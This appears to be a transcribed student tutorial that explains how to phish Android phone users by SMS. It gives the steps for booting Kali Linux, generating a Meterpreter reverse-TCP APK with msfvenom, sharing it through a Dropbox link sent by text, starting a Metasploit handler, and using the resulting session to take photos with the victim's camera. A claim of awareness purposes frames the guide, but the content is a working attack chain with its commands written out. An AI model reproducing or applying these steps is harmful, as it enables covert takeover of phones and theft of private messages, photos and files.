How to Phishing Android Smart Phone Users Through SMS Message

Transcription

1 How to Phishing Android Smart Phone Users Through SMS Message Introduction Myeonggil Kong Nowadays, we are doing everything through a smart phone. Because of that, many crimes occur through the smart phone. However, people s thinking about the smart phone security is lower. This set of instruction is going to tell you how to phishing android smart phone users through SMS message. This method can use through . This set of instruction is not going to tell you the method intimately because this instruction can be used in many bad ways. So, this set of instruction is not included advanced options, but this instruction can give you an idea. This is for giving warning to android smart phone users to open SMS message or and informing the importance of security. List of Materials Computer with internet connection Over 4GB USB memory stick Android Smart Phone (Samsung Galaxy Note 3, OS Version: Android 4.1.1) Warning This instruction can be used in many bad ways. Using in bad ways can not be accepted. I am not responsible using this instruction in bad ways. The purpose of this instruction is not teaching hacking smart phone, this is for informing the importance of security. The moment to read Warning statement deems you to agree not to use in bad ways. Table of Contents I. Make USB booting disk for Kali linux Operating System II. III. IV. Booting Kali Linux Make apk file for hacking Upload the file on dropbox & Send to Android smart phone V. Setting the console and Install the file on the phone VI. Test

2 I. Make USB booting disk for Kali linux Operating System 1. Turn on a computer 2. Download kali linux file on Internet a. Open internet browser (click the icon on the red quadrangle in Figure 1) I use a google chrome browser, but you can use any types of browsers. Figure 1 Windows Main Page b. Search kali linux on the browser Figure 2 Result of searching kali linux on Goolge Chrome c. Click download (on the red quadrangle in Figure 2) d. Click one of the ISO on the red quadrangle in Figure 3. The file will be downloaded automatically. Figure 3 Download page of Kali Linux

3 3. Download win32 disk imager a. Search win32 disk imager download on Internet browser Figure4Resultofsearchingwin32diskimageronGoogleChrome b. Click Win32 Disk Imager Download (on the red quadrangle in Figure 4) c. Click the red quadrangle in Figure 5 then the file will be downloaded automatically. Figure5DownloadpageofWin32DiskImager 4. Unzip the win32 disk imager file a. Open windows explorer on a in Figure 6. b. Click downloads folder on b in Figure 6. c. Right click on mouse on c in Figure 6. d. Click the Unzip file on d in Figure 6. Figure6Unzipdirectionofwin32diskimagerfile

4 Figure7Thefolderismadebyunzip After step d, the folder as Figure 7 is made. e. Double clicks the folder of Figure Format USB memory stick a. Put USB on USB port b. Click computer on b in Figure 8. c. Right click on USB drive d. Click format on d in Figure 8. Figure 8 Direction of formatting USB memory stick e. Check file system FAT32 and click start in Figure 9. After step d, the window as Figure 9 will be appeared. Figure9Windowforformat f. The window as Figure 10 and Figure 11 will be appeared sequentially. Click OK then Click Yes

5 Figure10WarningwindowofformatI Figure11WarningwindowofformatII g. Click OK in Figure 12 After formatting completely, the window as Figure 12 will be appeared. Figure12Formatcomplete h. Click X in Figure 9 for close the window for format. 6. Double click win32diskimager Figure13Win32DiskImagerWindow 7. Click folder box in Figure 13 Figure 14 is appeared, but there is no file that we find because of the file extension Figure14Appearingnewwindowafterstep7. 8. Change kali linux file extension a. Go to download folder

6 b. Click organize on b in Figure 15. c. Click folder and search options on c in Figure 15. Figure15DownloadFolderWindow d. Click view tab in Figure 16. e. Uncheck hide extensions for known file types in Figure 16. f. Click OK in Figure 16. Figure16WindowofFolderOptions File extension appears Figure17WindowappearingFileExtension g. Right click and rename h. Change the file extension iso to img i. Click Ok in Figure 18.

7 Figure18ChangingFileExtension 9. Open the file (kali-linux-2.0-i386.img) in Figure 19. Figure19ChangingwindowofFigure Click write button in Figure 20 Figure20Win32DiskkImagerafterStep Confirm overwrite window appears then click Yes Figure21Appearingwindowafterstep After finishing overwrite new window appears than Click OK and exit Figure22Newwindowafterfinsihingoverwrite 13. Restart computer a. Click start button on a in Figure 23. b. Move to mouse on Shot down button on b in Figure 23.

8 c. Click Restart on c in Figure 23. Figure23RestartingWindowSystem Part II. Booting Kali Linux 1. Click F12 on Keyboards for going Boot Device Menu 2. Select USB Device in Figure 24 Figure 24 Selecting Boot Device Menu Window 3. Select any row to start Live in Figure 25. Figure25SelectingKaliLinuxtypeWindow

9 Figure26ThemainscreenofKaliLinux Afterstep3,Figure26appears Part III. Make apk file for hackingt 1. Open terminal (click the icon in Figure 13.) Figure 13 is on the left dock Figure27TerminalIcon 2. Type ifconfig for checking IP addres on the Terminal you opened in Step 1 (IP address is underlined in Figure 28.) The underline is the IP address of this computer. Figure28Resultoftypingifconfig

10 3. type msfvenom p android/meterpreter/reverse_tcp LHOST= LPORT=81 R > /root/desktop/test.apk as Figure 29. LHOST = IP address found using ifconfig, and LPORT = NUMBER test.apk file is made on wallpaper Figure29Resultofstep3. Part IV. Upload the file on dropbox & send to Android smart phone 1. upload dropbox a. Open internet (Click the icon in Figure 30.) Figure30InternetBrower b. Search dropbox login Figure31Resultofsearchingdropboxlogin c. Log in the dropbox d. Click upload button on Figure Figure32DropboxUploadpage

11 e. Check the file and click Open button Figure33Windowofuploadingfile 2. Send link f. Click Share button and Get file link Figure34ReceivedSMSmessage Part V. Setting the console and Install the file on the phone 1. Setting console a. Type msfconsole b. use exploit/multi/handler c. set PAYLOAD android/meterpreter/reverse_tcp d. set LHOST e. set LPORT 81 f. exploit Figure35Resultofsettingconsole 2. Click the SMS link 3. Click Open in app Button 4. Click Package installer

12 Figure36Viewofdropboxfile 5. Click Next 6. Click Install Figure37Viewofthesystemaskingmethodof Install Figure38InstallationPartI Figure39InstallationPartII New Message will be appeared on the console and ready to hacking. Figure40Connectedwiththesmartphone Part VI. Test 1. Type Webcam_snap 1 as Figure 41 Take a picture through the smart phone s read camera by the command Figure41Resultoftypingwebcam_snap1 2. Open home/tworivers folder 3. Open FaWTsqhb.jpeg file

13 Figure42Viewingthepicturebytakingstep1 You can see the SMS, s, pictures and any thing else on the smart phone and control it. This should now see the importance of security.